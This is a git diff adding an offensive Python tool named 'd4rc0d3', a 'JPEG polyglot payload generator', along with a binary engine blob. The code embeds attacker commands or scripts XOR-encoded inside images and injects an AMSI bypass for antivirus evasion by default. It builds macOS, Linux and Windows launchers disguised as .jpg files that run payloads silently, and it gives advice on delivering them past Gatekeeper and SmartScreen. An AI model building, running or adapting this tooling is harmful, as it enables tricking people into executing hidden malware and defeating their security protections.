+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀       \n'
+        '     ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀        \n'
+        '      ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀         \n'
+        '       ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀           \n'
+        '        ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                 \n'
+        '          ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
+        '           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀                  \n'
+        '           ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▄                 \n'
+        '\n'
+        '  d4rc0d3  v5.0  —  jpeg polyglot payload generator\n'
+        '  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─  ─\n'
+        '\n'
+    )
+    print(''.join(_LUCY))
+
+    default_img = os.path.join(os.path.dirname(__file__), 'cover.jpg')
+    img = input(f"Cover image [{default_img}]: ").strip() or default_img
+    if not os.path.isfile(img):
+        warn(f"Image not found: {img}"); sys.exit(1)
+
+    print(f"\n{C.BOLD}Payload type:{C.END}")
+    print("  1) Inline command   (runs everywhere, Slack-compatible)")
+    print("  2) PowerShell .ps1  (Windows + Linux/macOS via pwsh)")
+    print("  3) Script .py/.sh   (Linux/macOS, base64+XOR in post-EOI)")
+    print("  4) Binary .exe/.elf (any platform, base64+XOR in post-EOI)")
+    print("  5) Combined: command + file")
+    ptype = input("Type [1]: ").strip() or '1'
+
+    command = ''
+    payload_file = ''
+    if ptype in ('1',):
+        command = input("Command [id > /tmp/pwned.txt]: ").strip() or 'id > /tmp/pwned.txt'
+    elif ptype in ('2', '3', '4'):
+        payload_file = input("Payload file path: ").strip()
+        if not os.path.isfile(payload_file):
+            warn(f"File not found: {payload_file}"); sys.exit(1)
+    elif ptype == '5':
+        command = input("Pre-command: ").strip()
+        payload_file = input("Payload file path: ").strip()
+        if not os.path.isfile(payload_file):
+            warn(f"File not found: {payload_file}"); sys.exit(1)
+
+    print(f"\n{C.BOLD}Output targets:{C.END}")
+    print("  1) Polyglot JPEG only")
+    print("  2) Polyglot + macOS .zip")
+    print("  3) Polyglot + Linux .jpg (content detection)")
+    print("  4) Polyglot + Linux .jpg.desktop")
+    print("  5) Polyglot + Windows .lnk")
+    print("  6) All")
+    targets_in = input("Targets [6]: ").strip() or '6'
+    targets = set()
+    if '1' in targets_in or '6' in targets_in: targets.add('polyglot')
+    if '2' in targets_in or '6' in targets_in: targets.add('mac')
+    if '3' in targets_in or '6' in targets_in: targets.add('linux-jpg')
+    if '4' in targets_in or '6' in targets_in: targets.add('linux-dot')
+    if '5' in targets_in or '6' in targets_in: targets.add('windows')
+    if not targets: targets = {'polyglot'}
+
+    amsi = input("Inject AMSI bypass (Windows AV evasion)? [Y/n]: ").strip().lower() != 'n'
+    out  = input("Output directory [.]: ").strip() or '.'
+    show = input("Open image viewer on execution? [y/N]: ").strip().lower() == 'y'
+
+    return img, command, payload_file, targets, amsi, out, show
+
+
+# ── Main ────────────────────────────────────────────────────────────────────────
+
+def main():
+    parser = argparse.ArgumentParser(
+        prog='d4rc0d3',
+        description='JPEG polyglot payload generator — image that executes on open',
+        formatter_class=argparse.RawDescriptionHelpFormatter,
+        epilog=textwrap.dedent("""\
+            PAYLOAD TYPES:
+              -c "cmd"          inline command (Slack-safe, works everywhere)
+              file.ps1          PowerShell script (XOR-encrypted in ICC profile)
+              file.py / .sh     script (base64+XOR in post-EOI, Linux/macOS)
+              file.exe / .elf   binary (base64+XOR in post-EOI)
+              -c "cmd" file.ps1 combined: command runs first, then file
+
+            EXECUTION:
+              Linux/macOS:  sh photo.jpg
+              Windows:      powershell -ExecutionPolicy Bypass -File photo.jpg
+              PowerShell:   Rename to .ps1, then pwsh photo.ps1
+              Double-click: use --mac / --linux / --windows flags
+
+            EXAMPLES:
+              python3 d4rc0d3.py -c photo.jpg "id > /tmp/p.txt"
+              python3 d4rc0d3.py photo.jpg payload.ps1 --windows --mac --linux
+              python3 d4rc0d3.py -c photo.jpg "calc.exe" --windows -o /tmp/out/
+              python3 d4rc0d3.py photo.jpg shell.py --linux --amsi -o /tmp/out/
+        """),
+    )
+    parser.add_argument('image',   nargs='?', help='Cover JPEG/PNG image')
+    parser.add_argument('payload', nargs='?', help='Payload file (.ps1/.py/.sh/.exe/...)')
+    parser.add_argument('-c',      metavar='CMD', help='Inline shell command')
+    parser.add_argument('--mac',   action='store_true', help='Also generate macOS .app bundle (ZIP)')
+    parser.add_argument('--linux', action='store_true', help='Also generate Linux .jpg (content detection)')
+    parser.add_argument('--linux-dot', action='store_true', help='Also generate Linux .jpg.desktop')
+    parser.add_argument('--windows',   action='store_true', help='Also generate Windows .lnk')
+    parser.add_argument('--all',   action='store_true', help='Generate all platform outputs')
+    parser.add_argument('--amsi',  action='store_true', default=True,
+                        help='Inject AMSI bypass for Windows AV evasion (default: on)')
+    parser.add_argument('--no-amsi', action='store_true', help='Disable AMSI bypass injection')
+    parser.add_argument('--show',  action='store_true', help='Open image viewer on execution')
+    parser.add_argument('--keep',  action='store_true', help='Keep extracted payload file')
+    parser.add_argument('-d', '--extract-dir', default='', help='Extraction directory (default: /tmp)')
+    parser.add_argument('-o', '--output', default='.', help='Output directory (default: .)')
+
+    args = parser.parse_args()
+    has_flag = any([args.image, args.c, args.mac, args.linux,
+                    getattr(args, 'linux_dot', False), args.windows, args.all])
+
+    if not has_flag:
+        image, command, payload_file, targets, amsi, out, show = interactive()
+    else:
+        image        = args.image or ''
+        command      = args.c or ''
+        payload_file = args.payload or ''
+        amsi         = args.amsi and not args.no_amsi
+        out          = args.output
+        show         = args.show
+
+        if not image:
+            parser.error("cover image is required")
+        if not command and not payload_file:
+            parser.error("provide -c 'command' or a payload file")
+
+        targets = {'polyglot'}
+        if args.mac     or args.all: targets.add('mac')
+        if args.linux   or args.all: targets.add('linux-jpg')
+        if getattr(args, 'linux_dot', False) or args.all: targets.add('linux-dot')
+        if args.windows or args.all: targets.add('windows')
+
+    if not os.path.isfile(image):
+        warn(f"Image not found: {image}"); sys.exit(1)
+    if payload_file and not os.path.isfile(payload_file):
+        warn(f"Payload not found: {payload_file}"); sys.exit(1)
+
+    os.makedirs(out, exist_ok=True)
+
+    name      = stem(image)
+    poly_path = os.path.join(out, f"{name}.jpg")
+    generated = []
+
+    # ── Build polyglot ─────────────────────────────────────────────────────
+    head("Building JPEG polyglot")
+
+    try:
+        build_polyglot_av(image, poly_path, command, payload_file,
+                          show, getattr(args, 'keep', False),
+                          getattr(args, 'extract_dir', ''), amsi)
+    except Exception as e:
+        warn(str(e)); sys.exit(1)
+
+    ok(f"Polyglot JPEG  → {poly_path}  ({os.path.getsize(poly_path):,} bytes)")
+    ptype = 'inline command' if command and not payload_file else \
+            payload_type(payload_file) if payload_file else 'command+file'
+    info(f"Payload type: {ptype}")
+    info(f"AMSI bypass:  {'injected' if amsi else 'skipped'}")
+    info(f"XOR key:      embedded in ICC profile (offset 102)")
+    generated.append(('Polyglot JPEG', poly_path))
+
+    # ── Platform-specific launchers ────────────────────────────────────────
+    exec_cmd = command or f'sh "{poly_path}"'
+
+    if 'mac' in targets:
+        head("macOS .app bundle")
+        try:
+            z = build_macos(image, exec_cmd, out)
+            ok(f"macOS ZIP      → {z}  ({os.path.getsize(z):,} bytes)")
+            info(f"Finder shows:  '{name}.jpg'  (single .app extension, .app hidden by Finder)")
+            info(f"Double-click → Preview opens photo + payload runs in background")
+            info(f"Delivery:      USB/LAN share to avoid Gatekeeper quarantine")
+            generated.append(('macOS (.app in ZIP)', z))
+        except Exception as e:
+            warn(f"macOS build failed: {e}")
+
+    if 'linux-jpg' in targets:
+        head("Linux .desktop (named .jpg)")
+        try:
+            # Use a distinct stem so it doesn't overwrite the polyglot
+            linux_img_copy = os.path.join(out, f"{name}_launch.jpg")
+            import shutil
+            shutil.copy2(image, linux_img_copy)
+            d = build_linux(linux_img_copy, exec_cmd, out, jpg_name=True)
+            ok(f"Linux .jpg     → {d}  ({os.path.getsize(d)} bytes)")
+            info(f"Name visible:  '{name}_launch.jpg'  (no .desktop in filename)")
+            info(f"Thunar / Nemo / Caja: executes on double-click (GIO content detection)")
+            info(f"Nautilus (GNOME):     may show 'Trust and Launch' dialog")
+            generated.append(('Linux (content detection)', d))
+        except Exception as e:
+            warn(f"Linux build failed: {e}")
+
+    if 'linux-dot' in targets:
+        head("Linux .desktop (explicit extension)")
+        try:
+            d = build_linux(image, exec_cmd, out, jpg_name=False)
+            ok(f"Linux .desktop → {d}  ({os.path.getsize(d)} bytes)")
+            info(f"Name visible:  '{name}.jpg.desktop'")
+            info(f"All major file managers execute without dialog (except Nautilus)")
+            generated.append(('Linux (.desktop)', d))
+        except Exception as e:
+            warn(f"Linux .desktop build failed: {e}")
+
+    if 'windows' in targets:
+        head("Windows .lnk launcher")
+        try:
+            ps_cmd = (
+                f'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass '
+                f'-File "{os.path.abspath(poly_path)}"'
+            )
+            lnk = build_windows_lnk(poly_path, out)
+            ok(f"Windows .lnk   → {lnk}  ({os.path.getsize(lnk)} bytes)")
+            info(f"Explorer shows: '{name}.jpg'  (Explorer hides .lnk by default)")
+            info(f"Double-click → PowerShell runs the polyglot silently")
+            info(f"Requires:      PowerShell (pre-installed on all modern Windows)")
+            info(f"SmartScreen:   may warn for files from internet (deliver via USB/LAN)")
+            generated.append(('Windows (.lnk)', lnk))
+        except Exception as e:
+            warn(f"Windows .lnk build failed: {e}")
+
+    # ── Summary ────────────────────────────────────────────────────────────
+    print(f"\n{'─'*54}")
+    print(f"{C.BOLD}Generated:{C.END}")
+    for label, path in generated:
+        print(f"  {C.GREEN}✓{C.END} [{label}]")
+        print(f"      {path}")
+
+    print(f"\n{C.BOLD}Execution reference:{C.END}")
+    print(f"  Linux / macOS:  sh {os.path.basename(poly_path)}")
+    print(f"  Windows:        powershell -ExecutionPolicy Bypass -File {os.path.basename(poly_path)}")
+    print(f"  PS rename:      ren {name}.jpg {name}.ps1  &&  pwsh {name}.ps1")
+    if 'mac' in targets:
+        print(f"  macOS click:    extract {name}.zip → double-click {name}.jpg")
+    if 'windows' in targets:
+        print(f"  Windows click:  double-click {name}.jpg.lnk (shows as {name}.jpg)")
+    print(f"{'─'*54}\n")
+
+
+if __name__ == '__main__':
+    main()
diff --git a/d4rc0d3_engine b/d4rc0d3_engine
new file mode 100644
index 0000000000000000000000000000000000000000000000000000000000000000..7a4981ba1b87f071516fc33ff9ed92ae28a1c0e944a62e1502938ae972747356
GIT binary patch
literal 463496
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
